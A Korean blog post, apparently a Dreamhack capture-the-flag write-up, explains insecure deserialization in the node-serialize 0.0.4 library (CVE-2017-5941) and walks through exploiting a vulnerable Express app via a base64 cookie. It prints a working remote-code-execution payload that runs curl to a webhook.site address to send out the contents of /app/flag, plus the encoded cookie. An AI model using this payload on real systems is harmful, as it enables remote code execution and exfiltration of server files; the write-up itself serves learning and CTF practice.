• 취약점 설명
serialize(직렬화)는 Object 또는 Data의 상태 또는 타입을 특정한 형태의 포맷을 가진 데이터로 변환하는 것을 의미한다.
공격자는 역직렬화 과정에서 상태 또는 타입을 이용하여 악의적인 행위를 발생시키거나 특정한 상황에서 호출되는 메소들을 이용하여 공격에 사용한다.
• 조건
[CVE-2017-5941]
Node.js에 node-serialize:0.0.4버전 라이브러리를 사용할 경우 RCE(Remote Code Excution) 공격이 가능하다.
• 코드 분석
node-serialize 버전을 확인해보면 0.0.4 라이브러리를 사용하고있다. 즉, RCE 공격이 가능하다는것이다.
const serialize = require('node-serialize');
const app = express();
app.use(cookieParser())
app.get('/', (req, res) => {
if (req.cookies.profile) {
let str = new Buffer.from(req.cookies.profile, 'base64').toString();
// Special Filter For You :)
let obj = serialize.unserialize(str);
if (obj) {
res.send("Set Cookie Success!");
}
} else {
res.cookie('profile', "eyJ1c2VybmFtZSI6ICJndWVzdCIsImNvdW50cnkiOiAiS29yZWEifQ==", {
maxAge: 900000,
httpOnly: true
});
res.redirect('/');
}
});
• 문제 풀이
메인 페이지에 들어가면 "Set Cookie Success!" 문구가 출력이 되어있어서 쿠키를 확인을 해봤는데 ey로 시작하는 것은JWT토큰이기 때문에 해당 토큰을 복호화 해보자.
username이 'guest' 이고 나라는 'Korea' 이다.
즉, 쉽게 복호화가 되는거 보면 salt값이 포함되지 않았다는 것이다.
해당 기본 RCE 코드를 작성보자.
const serialize = require('node-serialize');
data = `{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl https://webhook.site/c03cf8d9-3b7d-4292-a7dc-e021bcad0443?c=$(cat /app/flag)',function(error, stdout, stderr) {console.log(stdout); }); return 'nope';}()", "country":"Korea"}`
serialize.unserialize(data);
console.log(data);
*드림핵 강의를 참고하여 작성을 하였습니다.
위 코드를 사용하기 위해서는 curl 명령을 사용하여 결과 값을 읽어와야한다.
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIGh0dHBzOi8vd2ViaG9vay5zaXRlL2MwM2NmOGQ5LTNiN2QtNDI5Mi1hN2RjLWUwMjFiY2FkMDQ0Mz9jPSQoY2F0IC9hcHAvZmxhZyknLGZ1bmN0aW9uKGVycm9yLCBzdGRvdXQsIHN0ZGVycikge2NvbnNvbGUubG9nKHN0ZG91dCk7IH0pOyByZXR1cm4gJ25vcGUnO30oKSIsImNvdW50cnkiOiJLb3JlYSIsImFsZyI6IkhTMjU2In0
데이터를 base64 인코딩해 cookie.profile에 값을 넣어 넘겨주면 디코딩 과정을 거친 후 unserialze() 함수를 통해 cat /app/flag 명령이 실행이된다. 그 다음 Webhook 사이트를 이용하여 curl 명령을 이용해 결과 값을 읽어주면 flag 값을 얻을수 있다..
뭐지,,, flag 값이 틀렸다고 하지,,,,? 질문을 남겨보자,,
'모의해킹 > Dreamhack' 카테고리의 다른 글
Dream Gallery (0) | 2023.12.16 |
---|---|
Relative Path Overwrite Advanced (0) | 2023.12.06 |
Relative Path Overwrite (0) | 2023.12.02 |
phpMyRedis (0) | 2023.12.01 |
Client Side Template Injection (0) | 2023.11.25 |